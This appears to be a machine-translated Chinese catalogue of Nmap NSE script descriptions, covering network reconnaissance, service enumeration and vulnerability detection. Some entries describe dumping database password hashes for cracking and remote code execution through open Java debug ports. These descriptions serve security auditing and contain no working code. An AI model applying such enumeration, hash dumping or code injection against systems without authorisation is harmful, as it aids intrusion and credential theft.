根据多个 DNS 反垃圾邮件和开放代理黑名单检查目标 IP 地址,并返回已标记 IP 的服务列表。检查可能受限于服务类别(例如:SPAM、PROXY)或特定服务名称。
根据最佳实践检查 DNS 区域配置,包括 RFC 1912。配置检查分为多个类别,每个类别都有许多不同的测试。
使用 edns-client-subnet 选项执行域查找,该选项允许客户端指定查询应该源自的子网。该脚本使用此选项来提供许多地理分布的位置,以尝试枚举尽可能多的不同地址记录。该脚本还支持使用给定子网的请求。
通过请求其名称服务器 ID (nsid) 并询问其 id.server 和 version.bind 值,从 DNS 名称服务器中检索信息。此脚本执行与以下两个 dig 命令相同的查询: - dig CH TXT bind.version @target - dig +nsid CH TXT id.server @target
检查 DNS 服务器是否允许查询第三方名称。预计将在您自己的内部名称服务器上启用递归。
尝试使用 DNS 服务发现协议发现目标主机的服务。
枚举给定域名的各种公共服务 (SRV) 记录。服务记录包含给定服务的服务器的主机名、端口和优先级。脚本列举了以下服务: - Active Directory 全局目录 - Exchange 自动发现 - Kerberos KDC 服务 - Kerberos 密码更改服务 - LDAP 服务器 - SIP 服务器 - XMPP S2S - XMPP C2S
通过查询 ZTDNS@abuse.ch 检查目标 IP 范围是否是 Zeus 僵尸网络的一部分。在开始扫描之前,请查看以下信息:
尝试从支持 DRDA 协议的数据库服务器中提取信息。该脚本发送一个 DRDA EXCSAT(交换服务器属性)命令包并解析响应。
尝试通过分析和比较其他脚本收集的信息来发现多宿主系统。当前分析的信息包括 SSL 证书、SSH 主机密钥、MAC 地址和 Netbios 服务器名称。
枚举 EAP(可扩展身份验证协议)身份验证器为给定身份或匿名身份提供的身份验证方法(如果未传递参数)。
连接到 Erlang Port Mapper Daemon (epmd) 并检索节点列表及其各自的端口号。
尝试通过 Apple 远程事件协议枚举进程信息。当通过 Apple Remote Event 协议访问应用程序时,如果应用程序正在运行,服务会在请求身份验证之前以应用程序的 uid 和 pid 进行响应。
执行前向确认的反向 DNS 查找并报告异常结果。
尝试使用手指服务检索用户名列表。
尝试使用称为 firewalking 的 IP TTL 过期技术来发现防火墙规则。
从 Flume 主 HTTP 页面检索信息。
通过发送状态查询 UDP 探测来检测 Freelancer 游戏服务器 (FLServer.exe) 服务。
检查 FTP 服务器是否允许匿名登录。
检查 FTP 服务器是否允许使用 FTP 反弹方法进行端口扫描。
发送 FTP SYST 和 STAT 命令并返回结果。
从监听的 Ganglia Monitoring Daemon 或 Ganglia Meta Daemon 中检索系统信息(操作系统版本、可用内存等)。
查询 CORBA 命名服务器以获取对象列表。
查询 GKRellM 服务以获取监控信息。进行单轮收集,显示请求时的信息快照。
列出 gopher 服务根目录下的文件和目录。
从 GPSD 网络守护程序检索 GPS 时间、坐标和速度。
从 Apache Hadoop DataNode HTTP 状态页面发现诸如日志目录之类的信息。
从 Apache Hadoop JobTracker HTTP 状态页面检索信息。
从 Apache Hadoop NameNode HTTP 状态页面检索信息。
hadoop-secondary-namenode-info
从 Apache Hadoop 辅助 NameNode HTTP 状态页面检索信息。
从 Apache Hadoop TaskTracker HTTP 状态页面检索信息。
从 Apache HBase(Hadoop 数据库)主 HTTP 状态页面检索信息。
从 Apache HBase(Hadoop 数据库)区域服务器 HTTP 状态页面检索信息。
从监听 hddtemp 服务读取硬盘信息(例如品牌、型号,有时还包括温度)。
利用“家庭网络管理协议”HNAP 检索硬件详细信息和配置信息。它是一种基于 HTTP 简单对象访问协议 (SOAP) 的协议,允许远程拓扑发现、配置和管理设备(路由器、摄像机、PC、NAS 等)
通过查询http://ip.robtex.com/上的在线 Robtex 服务,发现解析为目标 IP 地址的主机名。
从网页中获取附属网络 ID(例如 Google AdSense 或 Analytics、Amazon Associates 等)。这些可用于识别具有相同所有者的页面。
检查目标 http 服务器是否启用了 mod_negotiation。可以利用此功能来查找隐藏的资源并使用更少的请求来爬取网站。
尝试检索启用了 mod_status 的 Apache 网络服务器的服务器状态页面。如果服务器状态页面存在并且似乎来自 mod_status 脚本将解析有用的信息,例如系统正常运行时间、Apache 版本和最近的 HTTP 请求。
检索需要身份验证的 Web 服务的身份验证方案和领域。
爬取网站以查找需要基于表单或基于 HTTP 的身份验证的网页。结果以表格形式返回,其中包含每个 url 和检测到的方法。
爬取网站并尝试识别已发现文件的备份副本。它通过请求文件名的许多不同组合来实现这一点(例如 index.bak、index.html~、index.html 的副本)。
解码 HTTP 响应中任何未加密的 F5 BIG-IP cookie。BIG-IP cookie 包含有关后端系统的信息,例如内部 IP 地址和端口号。有关更多信息,请参见此处:https: //support.f5.com/csp/article/K6917
通过对随 CakePHP 框架提供的默认文件进行指纹识别,获取使用 CakePHP 框架构建的 Web 应用程序的 CakePHP 版本。
作为 Cisco AnyConnect 客户端连接到 Cisco SSL VPN 并检索版本和隧道信息。
从 HTTP 响应中提取和输出 HTML 和 JavaScript 注释。
检查 HTTP 服务设置的 cookie。报告任何没有设置 httponly 标志的会话 cookie。报告通过 SSL 设置的任何会话 cookie,不带安全标志。如果 http-enum.nse 也运行,除了根目录之外,它找到的任何有趣的路径都将被检查。
为跨域资源共享 (CORS) 测试 http 服务器,这是域显式选择让另一个域调用某些方法的一种方式。
检查 Web 应用程序中的跨域策略文件 (/crossdomain.xml) 和客户端访问策略文件 (/clientaccesspolicy.xml) 并列出受信任的域。过于宽松的设置会启用跨站点请求伪造攻击,并可能允许攻击者访问敏感数据。此脚本可用于检测许可配置和可用于购买以利用该应用程序的可能域名。
从类似 HTTP 的服务中获取日期。还打印日期与本地时间的差异。本地时间是发送 HTTP 请求的时间,因此差异至少包括一个 RTT 的持续时间。
从网页中获取 favicon(“收藏夹图标”)并将其与已知 Web 应用程序图标的数据库进行匹配。如果匹配,则打印应用程序的名称;否则打印图标数据的 MD5 哈希。
该脚本用于从服务器获取文件。
检查目标机器是否容易受到匿名 Frontpage 登录的攻击。
显示网页的“生成器”元标记的内容(默认值:/),如果有的话。
检查在网站文档根目录 /.git/<something>) 中找到的 Git 存储库,并检索尽可能多的存储库信息,包括语言/框架、远程、最后提交消息和存储库描述。
从 gitweb(Git 修订控制系统的 Web 界面)检索 Git 项目、所有者和描述的列表。
检查主机是否在 Google 的可疑恶意软件和网络钓鱼服务器黑名单中。这些列表会不断更新,并且是 Google 安全浏览服务的一部分。
爬取网站并尝试将所有页面和 url 与给定字符串匹配。匹配项按发现它们的 url 进行计数和分组。
对 Web 服务器的根文件夹 ("/") 执行 HEAD 请求并显示返回的 HTTP 标头。
尝试从 HP iLO 板上提取信息,包括版本和地址。
通过查询 MobileMe Web 服务检索所有启用“查找我的 iPhone”的 iOS 设备的位置(需要身份验证)。
通过 Apple MobileMe Web 服务向 iOS 设备发送消息。该设备必须使用 Find My Iphone 应用程序注册一个 Apple ID。
确定 Web 服务器在发送没有 Host 标头的 HTTP/1.0 请求时是否泄露其内部 IP 地址。
尝试在 Web 服务器中发现 JSONP 端点。JSONP 端点可用于绕过 Web 浏览器中的同源策略限制。
显示“索引”网页的内容。
寻找已知服务器妥协的签名。
检查网络服务器是否允许 mod_cluster 管理协议 (MCMP) 方法。
通过发送 OPTIONS 请求找出 HTTP 服务器支持哪些选项。列出有潜在风险的方法。它单独测试 OPTIONS 标头中未提及的那些方法,并查看它们是否已实现。501/405 以外的任何输出都表明该方法不在 400 到 600 范围内。如果响应落在该范围内,则将其与随机生成的方法的响应进行比较。
检查网站是否拥有移动版本。
此脚本枚举来自启用了 NTLM 身份验证的远程 HTTP 服务的信息。
检查 HTTP 代理是否打开。
尝试从 Web 服务器检索 PHP 版本。PHP 有许多返回图像或文本的魔术查询,这些查询可能会因 PHP 版本而异。此脚本使用以下查询:
/?=PHPE9568F36-D428-11d2-A769-00AA001ACF42
: 获得一个 GIF 标志,它在愚人节发生变化。/?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000
: 获得一个 HTML 学分页面。
尝试从 QNAP 网络附加存储 (NAS) 设备检索型号、固件版本和启用的服务。
通知跨域包括脚本。包含外部 javascript 脚本的网站将其部分安全性委托给第三方实体。
检查/robots.txt
Web 服务器上不允许的条目。
通过查询 Robtex 服务 ( https://www.robtex.com/ip-lookup/ ) 为目标 IP 地址获取最多 100 个转发 DNS 名称。
通过查询http://www.robtex.com/dns/ 上的 Robtex 服务,最多可找到 100 个使用相同名称服务器作为目标的域名。
检测允许匿名访问 KM 单元导航页面的 SAP Netweaver Portal 实例。此页面泄露文件名、ldap 用户等。
检查与 OWASP 安全标头项目中给出的安全性相关的 HTTP 响应标头,并简要说明标头及其配置值。
在没有实际发起 DoS 攻击的情况下测试 Web 服务器是否存在 Slowloris DoS 攻击的漏洞。
通过检查最近提交的日志来枚举 Subversion 存储库的用户。
从 Subversion 存储库请求信息。
显示 Web 服务器默认页面的标题。
发送一个 HTTP TRACE 请求并显示是否启用了 TRACE 方法。如果启用了调试,它会返回响应中修改的标头字段。
利用 Max-Forwards HTTP 标头检测反向代理的存在。
尝试从 Trane Tracer SC 设备获取信息。Trane Tracer SC 是一个智能现场面板,用于与部署在多个部门(包括商业设施和其他部门)的 HVAC 设备控制器进行通信。
检查主机是否允许各种爬网实用程序。
检查文件是否已被 Virustotal 确定为恶意软件。Virustotal 是一项服务,它提供了扫描文件或针对许多主要防病毒供应商检查校验和的功能。该脚本使用公共 API,该 API 需要有效的 API 密钥,并且每分钟限制为 4 次查询。可以通过在virustotal网页上注册为用户来获取密钥:
连接到 VLC Streamer 助手服务并列出目录内容。iOS VLC Streamer 应用程序使用 VLC Streamer 助手服务来启用从远程服务器到设备的多媒体内容流式传输。
检查 VMWare ESX、ESXi 和服务器中的路径遍历漏洞 (CVE-2009-3733)。
测试 JBoss 目标是否容易受到 jmx 控制台身份验证绕过 (CVE-2010-0738) 的攻击。
在 Apache Web 服务器处理对页面的多个重叠/简单范围的请求的方式中检测到拒绝服务漏洞。
检测 Cisco ASA 设备是否容易受到 Cisco ASA ASDM 权限提升漏洞 (CVE-2014-2126) 的攻击。
检测 Cisco ASA 设备是否容易受到 Cisco ASA SSL VPN 权限提升漏洞 (CVE-2014-2127) 的攻击。
检测 Cisco ASA 设备是否容易受到 Cisco ASA SSL VPN 身份验证绕过漏洞 (CVE-2014-2128) 的攻击。
检测 Cisco ASA 设备是否容易受到 Cisco ASA SIP 拒绝服务漏洞 (CVE-2014-2129) 的攻击。
检查 Microsoft Windows 系统 (CVE2015-2015-1635) 中的远程代码执行漏洞 (MS15-034)。
尝试检测 Wordpress 4.7.0 和 4.7.1 中的权限提升漏洞,该漏洞允许未经身份验证的用户在帖子中注入内容。
用于检测 WebDAV 安装的脚本。使用 OPTIONS 和 PROPFIND 方法。
此脚本搜索 xssed.com 数据库并输出结果。
测试已知 ICAP 服务名称的列表并打印有关它检测到的任何服务名称的信息。Internet Content Adaptation Protocol (ICAP) 用于扩展透明代理服务器,一般用于内容过滤和防病毒扫描。
通过向主机发送四个数据包从 IKE 服务获取信息(例如可用的供应商和设备类型)。此脚本使用主模式和积极模式进行测试,并为每个请求发送多个转换。
检索 IMAP 电子邮件服务器功能。
此脚本枚举来自启用了 NTLM 身份验证的远程 IMAP 服务的信息。
通过使用扫描的主机作为默认网关向给定目标发送 ICMP 回显请求,检测远程设备是否启用了 ip 转发或“Internet 连接共享”。
尝试使用 Geoplugin 地理定位 Web 服务 ( http://www.geoplugin.com/ ) 识别 IP 地址的物理位置。使用此服务的查找没有限制。
尝试使用 IPInfoDB 地理定位 Web 服务 ( http://ipinfodb.com/ip_location_api.php ) 识别 IP 地址的物理位置。
此脚本在 Nmap 注册表中查询先前地理定位脚本存储的目标的 GPS 坐标,并呈现表示目标的标记的 Bing 地图。
此脚本在 Nmap 注册表中查询以前地理定位脚本存储的目标的 GPS 坐标,并呈现代表目标的标记的 Google 地图。
此脚本查询 Nmap 注册表以获取先前地理定位脚本存储的目标的 GPS 坐标,并生成表示目标的点的 KML 文件。
尝试使用 Geolocation Maxmind 数据库文件(可从 http://www.maxmind.com/app/ip-location获得)识别 IP 地址的物理位置。该脚本支持使用其 API 支持的所有 Maxmind 数据库进行查询,包括商业数据库。
检查是否支持 IP over HTTPS (IP-HTTPS) 隧道协议 [1]。
对主机的 IP ID 序列进行分类(测试对空闲扫描的敏感性)。
IPMI 2.0 密码零身份验证绕过扫描器。此模块通过使用密码零识别易受身份验证绕过漏洞影响的 IPMI 2.0 兼容系统。
通过 Channel Auth 探测执行 IPMI 信息发现。
通过 IPv6 节点信息查询获取主机名、IPv4 和 IPv6 地址。
检查 IRC 服务器是否有恶意僵尸网络常用的通道。
从 IRC 服务器收集信息。
收集并显示来自远程 iSCSI 目标的信息。
列出向 Internet 存储名称服务 (iSNS) 注册的门户和 iSCSI 节点。
尝试利用 java 的远程调试端口。远程调试端口打开时,可以注入java字节码,实现远程代码执行。此脚本注入并执行返回远程系统信息的 Java 类文件。
通过向多播地址 224.0.23.12 发送 KNX 搜索请求(包括目标端口为 3671 的 UDP 有效负载)来发现 KNX 网关。KNX 网关将使用 KNX 搜索响应进行响应,其中包括有关网关的各种信息,例如 KNX 地址和支持的服务。
通过发送 KNX 描述请求来识别 UDP 端口 3671 上的 KNX 网关。
通用密码启用高级密码策略,包括密码中的扩展字符、从 eDirectory 到其他系统的密码同步,以及用于所有 eDirectory 访问的单一密码。
检索 LDAP 根 DSA 特定条目 (DSE)
尝试执行 LDAP 搜索并返回所有匹配项。
从 Lexmark S300-S400 打印机检索配置信息。
使用 LLMNR(链路本地多播名称解析)协议解析主机名。
使用 Microsoft LLTD 协议来发现本地网络上的主机。
从 SAP Max DB 数据库中检索版本和数据库信息。
检查 ePO 代理是否在端口 8081 或标识为 ePO 代理端口的端口上运行。
从 CouchBase Web 管理端口检索信息(主机名、操作系统、正常运行时间等)。此脚本检索的信息不需要任何凭据。
从分布式内存对象缓存系统 memcached 中检索信息(包括系统架构、进程 ID 和服务器时间)。
从 Metasploit rpc 服务收集信息。它需要一个有效的登录对。身份验证后,它会尝试确定 Metasploit 版本并推断操作系统类型。然后它会创建一个新的控制台并执行一些命令来获取更多信息。
尝试从 MongoDB 数据库中获取表列表。
尝试从 MongoDB 数据库获取构建信息和服务器状态。
转储来自 MQTT 代理的消息流量。
查询组播路由信息的目标。
查询 Microsoft SQL Server (ms-sql) 实例以获取数据库、链接服务器和配置设置的列表。
查询给定(或所有)SQL Server 实例的 DAC(专用管理员连接)端口的 Microsoft SQL Browser 服务。DAC 端口用于在正常连接尝试失败时连接到数据库实例,例如,当服务器挂起、内存不足或其他不良状态时。此外,DAC 端口为管理员提供了对系统对象的访问权限,否则无法通过正常连接访问。
以适合 John-the-ripper 等工具破解的格式从 MS-SQL 服务器转储密码哈希。为此,用户需要具有适当的数据库权限。
查询 Microsoft SQL Server (ms-sql) 实例以获取用户有权访问的数据库列表。
尝试确定 Microsoft SQL Server 实例的配置和版本信息。
此脚本枚举来自启用 NTLM 身份验证的远程 Microsoft SQL 服务的信息。
针对 Microsoft SQL Server (ms-sql) 运行查询。
查询 Microsoft SQL Server (ms-sql) 以获取每个数据库的表列表。
查询 MSRPC 端点映射器以获取映射服务列表并显示收集的信息。
查询从源主机到目的主机的多播路径。
根据 CIS MySQL v1.0.2 基准测试的部分内容审核 MySQL 数据库服务器安全配置(该引擎可通过创建适当的审核文件用于其他 MySQL 审核)。
从 MySQL 服务器转储密码哈希,格式适合被 John the Ripper 等工具破解。需要适当的数据库权限(root)。
连接到 MySQL 服务器并打印协议和版本号、线程 ID、状态、功能和密码 salt 等信息。
对 MySQL 数据库运行查询并将结果作为表返回。
使用 NAT 端口映射协议 (NAT-PMP) 获取路由器的 WAN IP。广泛的路由器支持 NAT-PMP 协议,包括:
- 苹果机场快线
- 苹果机场至尊
- 苹果时间胶囊
- DD-WRT
- OpenWrt v8.09 或更高版本,带有 MiniUPnP 守护程序
- pfSense v2.0
- Tarifa(固件)(Linksys WRT54G/GL/GS)
- 番茄固件 v1.24 或更高版本。(Linksys WRT54G/GL/GS 等等)
- Peplink 余额
使用 NAT 端口映射协议 (NAT-PMP) 将路由器上的 WAN 端口映射到客户端上的本地端口。它支持以下操作:
- map - 将路由器上的新外部端口映射到请求 IP 的内部端口
- unmap - 取消映射请求 IP 的先前映射端口
- unmapall - 取消映射请求 IP 的所有先前映射的端口
通过 NetBIOS NS 检索目标网络接口的 IP 地址。额外的网络接口可能会显示有关目标的更多信息,包括通过多宿主系统找到隐藏的非路由网络的路径。
尝试检索目标的 NetBIOS 名称和 MAC 地址。
从 Novell NetWare 核心协议 (NCP) 服务检索所有 eDirectory 用户的列表。
从 Novell NetWare 核心协议 (NCP) 服务检索 eDirectory 服务器信息(操作系统版本、服务器名称、安装等)。
通过使用网络数据管理协议 (ndmp) 查询远程设备来列出远程文件系统。NDMP 是一种旨在在 NAS 设备和备份设备之间传输数据的协议,无需数据通过备份服务器。已知以下产品支持该协议:
- 阿曼达
- 巴库拉
- CA Arcserve
- CommVault Simpana
- EMC 网络器
- 日立数据系统
- IBM 蒂沃利
- Quest Software Netvault 备份
- 赛门铁克网络备份
- 赛门铁克备份执行
检查 NetBus 服务器是否容易受到身份验证绕过漏洞的影响,该漏洞允许在不知道密码的情况下进行完全访问。
打开与 NetBus 服务器的连接并提取有关主机和 NetBus 服务本身的信息。
尝试从 NFS 导出中获取有关文件的有用信息。输出旨在类似于ls
.
显示 NFS 导出,如showmount -e
命令。
从远程 NFS 共享中检索磁盘空间统计信息和信息。输出旨在类似于df
.
此脚本枚举来自启用了 NTLM 身份验证的远程 NNTP 服务的信息。
从 NTP 服务器获取时间和配置变量。我们发送两个请求:一个时间请求和一个“读取变量”(操作码 2)控制消息。没有冗长,脚本会显示时间和 version
、processor
、system
、 refid
和stratum
变量的值。详细程度会显示所有变量。
尝试从 OpenVAS Manager 服务器检索目标系统和网络的列表。
查询 OpenFlow 控制器以获取信息。较新版本的 OpenFlow 协议(1.3 和更高版本)将返回控制器支持的所有协议版本的列表。1.3 之前的版本只返回它们自己的版本号。
解析并显示 OpenLookup(网络键值存储)服务器的横幅信息。
OpenWebNet 是 Bticino 自 2000 年以来开发的一种通信协议。检索设备识别信息和连接设备的数量。
解码来自 Oracle TNS 侦听器的 VSNNUM 版本号。
根据Conficker 的点对点通信检查主机是否感染了Conficker.C 或更高版本。
对目标主机执行简单的路径 MTU 发现。
检索 POP3 电子邮件服务器功能。
此脚本枚举来自启用 NTLM 身份验证的远程 POP3 服务的信息。
打印在每个状态中找到的端口列表。
反复探测主机上打开和/或关闭的端口,以获得每个端口的一系列往返时间值。这些值用于对在统计上与其他组不同的端口集合进行分组。端口位于不同的组(或“家族”)可能是由于网络机制,例如端口转发到 NAT 后面的机器。
从 Quake 游戏服务器和其他使用相同协议的游戏服务器中提取信息。
从 Quake3 游戏服务器和其他使用相同协议的游戏中提取信息。
查询游戏服务器的 Quake3 风格的主服务器(除 Quake 3 之外的许多游戏都使用相同的协议)。
确定 RDP 服务支持哪个安全层和加密级别。它通过循环遍历所有现有协议和密码来实现。在调试模式下运行时,脚本还会返回失败的协议和密码以及报告的任何错误。
此脚本枚举来自启用了 CredSSP (NLA) 身份验证的远程 RDP 服务的信息。
检查 VNC 服务器是否容易受到 RealVNC 身份验证绕过 (CVE-2006-2369) 的攻击。
从 Redis 键值存储中检索信息(例如版本号和架构)。
注意:此脚本已被--resolve-all
Nmap 7.70 中的命令行选项替换
在扫描输出结束时创建反向索引,显示哪些主机运行特定服务。这是 Nmap 正常输出列出每个主机上的服务的补充。
从时间服务中检索日期和时间。
使用 HTTP 协议从 Basho Riak 分布式数据库中检索信息(例如节点名称和架构)。
连接到远程 RMI 注册表并尝试转储其所有对象。
连接到 rpcap 服务(通过 WinPcap 提供远程嗅探能力)并检索接口信息。该服务可以设置为是否需要身份验证,并且还支持 IP 限制。
连接到 portmapper 并获取所有注册程序的列表。然后它会打印出一个表格,其中包括(对于每个程序)RPC 程序号、支持的版本号、端口号和协议以及程序名称。
检测易受铜匠返回攻击 (ROCA) 分解的 RSA 密钥。
列出可用于 rsync(远程文件同步)同步的模块。
确定 RTSP(实时流协议)服务器支持哪些方法。
连接到 rusersd RPC 服务并检索登录用户列表。
尝试从 Sun 服务标签服务代理(UDP 端口 6481)提取系统信息(操作系统、硬件等)。
查询给定目标的 Shodan API 并产生与 -sV nmap 扫描类似的输出。ShodanAPI 密钥可以使用 'apikey' 脚本参数设置,或者在 .nse 文件本身中硬编码。您可以从https://developer.shodan.io获得免费密钥
枚举 SIP 服务器允许的方法(INVITE、OPTIONS、SUBSCRIBE 等)
检查目标机器是否正在运行 Double Pulsar SMB 后门。
检索在远程 Windows 系统上运行的服务列表。每个服务属性包含每个服务的服务名称、显示名称和服务状态。
尝试检索有关在 SMB 卷上共享的文件的有用信息。该输出旨在类似于 UNIXls
命令的输出。
查询由 Windows 主浏览器管理的信息。
尝试通过 SMB 协议(端口 445 或 139)确定操作系统、计算机名称、域、工作组和当前时间。这是通过使用匿名帐户(或使用适当的用户帐户,如果有的话)开始会话来完成的;它可能没有任何区别;作为对会话开始的响应,服务器将发回所有这些信息。
尝试列出 SMB 服务器支持的协议和方言。
返回有关 SMB 确定的 SMB 安全级别的信息。
尝试检测 Microsoft SMBv1 服务器是否容易受到远程代码执行漏洞(ms17-010,又名 EternalBlue)的攻击。该漏洞被 WannaCry 和 Petya 勒索软件和其他恶意软件积极利用。
尝试为每个启用的方言列出 SMBv2 服务器中支持的功能。
确定 SMBv2 服务器中所有受支持方言的消息签名配置。
尝试获取 SMB2 服务器的当前系统日期和开始日期。
尝试通过检查 SMB2 协议协商期间返回的正常运行时间来检测 Windows 系统中缺少的补丁程序。
尝试使用 EHLO 和 HELP 来收集 SMTP 服务器支持的扩展命令。
此脚本枚举来自启用了 NTLM 身份验证的远程 SMTP 服务的信息。
检查 SMTP 是否在非标准端口上运行。
尝试通过 hh3c-user.mib OID 枚举 Huawei/HP/H3C Locally Defined Users
从 SNMPv3 GET 请求中提取基本信息。此处使用与服务版本检测扫描相同的探针。
尝试通过 SNMP 枚举网络接口。
尝试查询 SNMP 以获取类似 netstat 的输出。通过提供 newtargets 脚本参数,该脚本可用于识别新目标并将其自动添加到扫描中。
尝试通过 SNMP 枚举正在运行的进程。
尝试从 SNMP 服务中提取系统信息。
尝试通过 SNMP 枚举 Windows 服务。
尝试通过 SNMP 枚举 Windows 共享。
尝试通过 SNMP 枚举已安装的软件。
尝试通过 SNMP 枚举 Windows 用户帐户
确定远程 SOCKS 代理服务器支持的身份验证机制。从 SOCKS 版本 5 开始,袜子服务器可能支持身份验证。该脚本检查以下身份验证类型: 0 - 无身份验证 1 - GSSAPI 2 - 用户名和密码
检查目标上是否正在运行一个开放的 socks 代理。
显示 SSH 主机密钥。
报告目标 SSH2 服务器提供的算法数量(用于加密、压缩等)。如果设置了详细程度,则提供的算法均按类型列出。
检查 SSH 服务器是否支持过时且安全性较低的 SSH 协议版本 1。
检测服务器是否容易受到由 Masashi Kikuchi 首次发现的 SSL/TLS“CCS 注入”漏洞 (CVE-2014-0224) 的攻击。该脚本基于 Ramon de C Valle ( https://gist.github.com/rcvalle/71f4b027d61a78c42607 )编写的 ccsinjection.c 代码
检索服务器的 SSL 证书。打印的有关证书的信息量取决于详细程度。脚本没有额外的冗长,打印有效期和主题的 commonName、organizationName、stateOrProvinceName 和 countryName。
报告在 SSL 服务证书的各个字段中找到的任何私有 (RFC1918) IPv4 地址。仅当目标地址本身不是私有的时才会报告这些。需要 Nmap v7.30 或更高版本。
从其 TLS ServerHello 响应中检索目标主机的时间和日期。
SSL/TLS 服务的弱短暂 Diffie-Hellman 参数检测。
检测服务器是否容易受到 OpenSSL Heartbleed 错误 (CVE-2014-0160) 的攻击。该代码基于 Katie Stafford (katie@ktpanda.org) 编写的 Python 脚本 ssltest.py
检查主机使用的 SSL 证书是否具有与包含的问题密钥数据库匹配的指纹。
检查是否允许使用 SSLv3 CBC 密码 (POODLE)
确定服务器是否支持过时且安全性较低的 SSLv2,并发现它支持哪些密码。
检查是否支持安全套接字隧道协议。这是通过尝试建立用于承载 SSTP 流量的 HTTPS 层来实现的,如下所述: - http://msdn.microsoft.com/en-us/library/cc247364.aspx
使用 STUN 协议检索 NAT:ed 主机的外部 IP 地址。
为给定的路由 AS 编号 (ASN) 生成 IP 前缀列表。
在可配置的时间内(默认为 10 秒)嗅探本地网络并打印发现的地址。如果 newtargets
设置了脚本参数,则将发现的地址添加到扫描队列中。
将 traceroute 跃点插入 Nmap 扫描队列。它仅在使用 Nmap 的--traceroute
选项并newtargets
给出脚本参数时才起作用。
从 Nmap XML 输出文件加载地址以进行扫描。
确定远程 telnet 服务器是否支持加密选项。某些系统(包括 FreeBSD 和许多 Linux 发行版中可用的 krb5 telnetd)错误地实现了此选项,从而导致远程根漏洞。此脚本目前仅测试是否支持加密,而不是针对特定漏洞。
此脚本枚举来自启用 NTLM 身份验证的远程 Microsoft Telnet 服务的信息。
使用 ALPN 协议枚举 TLS 服务器支持的应用层协议。
使用下一个协议协商扩展枚举 TLS 服务器支持的协议。
检测服务器是否容易受到 F5 Ticketbleed 错误 (CVE-2016-9244) 的攻击。
连接到 tn3270“服务器”并返回屏幕。
检查目标是否是已知的 Tor 节点。
列出跟踪路由中每个跃点的地理位置,并可选择将结果保存到 KML 文件,可在 Google 地球和地图上绘制。
从 Ubiquiti 网络设备中提取信息。
在所有 NSE 库上运行单元测试。
将端口上检测到的服务与该端口号的预期服务(例如 22 上的 ssh、80 上的 http)进行比较并报告偏差。该脚本要求已运行版本扫描,以便能够发现每个端口上实际运行的服务。
尝试从 UPnP 服务中提取系统信息。
从 Idera Uptime Infrastructure Monitor 代理获取系统信息。
嗅探 HTTP 流量的接口并转储任何 URL 及其原始 IP 地址。脚本输出与其他脚本不同,因为 URL 直接写入标准输出。还有一个选项可以将结果记录到文件中。
检测 Ventrilo 语音通信服务器服务版本 2.1.2 及以上版本,并尝试确定版本和配置信息。某些较旧的版本(3.0.0 之前)可能没有默认启用此探测依赖的 UDP 服务。
从 Versant 对象数据库中提取信息,包括文件路径、版本和数据库名称。
查询 VMware 服务器(vCenter、ESX、ESXi)SOAP API 以提取版本信息。
查询 VNC 服务器的协议版本和支持的安全类型。
使用 Voldemort 本机协议从 Voldemort 分布式键值存储中检索集群和存储信息。
对于每个可用的 CPE,脚本会打印出已知的漏洞(指向通讯员信息的链接)和通讯员 CVSS 分数。
检索一些基本信息,包括来自 Vuze 文件共享节点的协议版本。
检测漏洞并从 VxWorks Wind DeBug 代理收集信息(例如版本号和硬件支持)。
检测 T3 RMI 协议和 Weblogic 版本
尝试检索有关目标域名的信息
查询区域互联网注册机构 (RIR) 的 WHOIS 服务,并尝试检索有关包含目标 IP 地址的 IP 地址分配的信息。
从支持 Web 服务动态发现 (WS-Discovery) 协议的设备中检索和显示信息。它还尝试查找任何已发布的 Windows Communication Framework (WCF) Web 服务(.NET 4.0 或更高版本)。
检查您是否被允许连接到 X 服务器。
请求 XDMCP(X 显示管理器控制协议)会话并列出支持的身份验证和授权机制。
通过 system.listMethods 方法执行 XMLRPC Introspection。
连接到 XMPP 服务器(端口 5222)并收集服务器信息,例如:支持的身份验证机制、压缩方法、是否支持和强制 TLS、流管理、语言、带内注册的支持、服务器功能。如果可能,研究服务器供应商。
检测 All-Seeing Eye 服务。部分游戏服务器提供,用于查询服务器状态。
从 AMQP(高级消息队列协议)服务器收集信息(所有服务器属性的列表)。
发现和枚举 BACNet 设备根据标准请求收集设备信息。在某些情况下,设备可能不严格遵循规范,或者可能遵循旧版本的规范,并会导致 BACNET 错误响应。此错误的存在将设备肯定标识为 BACNet 设备,但无法枚举。
检测 CCcam 服务(用于在多个接收器之间共享订阅电视的软件)。
在 TCP 或 UDP 端口 523 上连接到 IBM DB2 管理服务器 (DAS) 并导出服务器配置文件。此请求不需要身份验证。
检测 Docker 服务版本。
尝试从支持 DRDA 协议的数据库服务器中提取信息。该脚本发送一个 DRDA EXCSAT(交换服务器属性)命令包并解析响应。
此 NSE 脚本用于将 EtherNet/IP 数据包发送到已打开 TCP 44818 的远程设备。该脚本将发送一个请求身份数据包,一旦收到响应,它会验证它是对已发送命令的正确响应,然后将解析出数据。解析的信息包括设备类型、供应商 ID、产品名称、序列号、产品代码、修订号、状态、状态以及设备 IP。
打印来自未知服务的服务指纹的可读字符串。
Tridium Niagara Fox 是楼宇自动化系统中使用的协议。基于 Billy Rios 和 Terry McCorkle 的工作,这个 Nmap NSE 将从 Tridium Niagara 系统收集信息。
通过发送状态查询 UDP 探测来检测 Freelancer 游戏服务器 (FLServer.exe) 服务。
利用“家庭网络管理协议”HNAP 检索硬件详细信息和配置信息。它是一种基于 HTTP 简单对象访问协议 (SOAP) 的协议,允许远程拓扑发现、配置和管理设备(路由器、摄像机、PC、NAS 等)
使用 HTTP Server 标头来获取缺失的版本信息。由于需要正确匹配非 HTTP 服务,因此目前使用版本探测是不可行的。
尝试从 Trane Tracer SC 设备获取信息。Trane Tracer SC 是一个智能现场面板,用于与部署在多个部门(包括商业设施和其他部门)的 HVAC 设备控制器进行通信。
检查重定向到同一端口上的 HTTPS 的 HTTP 服务。
检测 UDP IAX2 服务。
通过向主机发送四个数据包从 IKE 服务获取信息(例如可用的供应商和设备类型)。此脚本使用主模式和积极模式进行测试,并为每个请求发送多个转换。
检测 Java Debug Wire 协议。Java 程序使用此协议通过网络进行调试。它不应该对公共 Internet 开放,因为它不提供任何安全措施来抵御恶意攻击者,这些攻击者可以将自己的字节码注入到被调试的进程中。
从 SAP Max DB 数据库中检索版本和数据库信息。
检查 ePO 代理是否在端口 8081 或标识为 ePO 代理端口的端口上运行。
转储来自 MQTT 代理的消息流量。
检测 Murmur 服务(Mumble 语音通信客户端的服务器)版本 1.2.X。
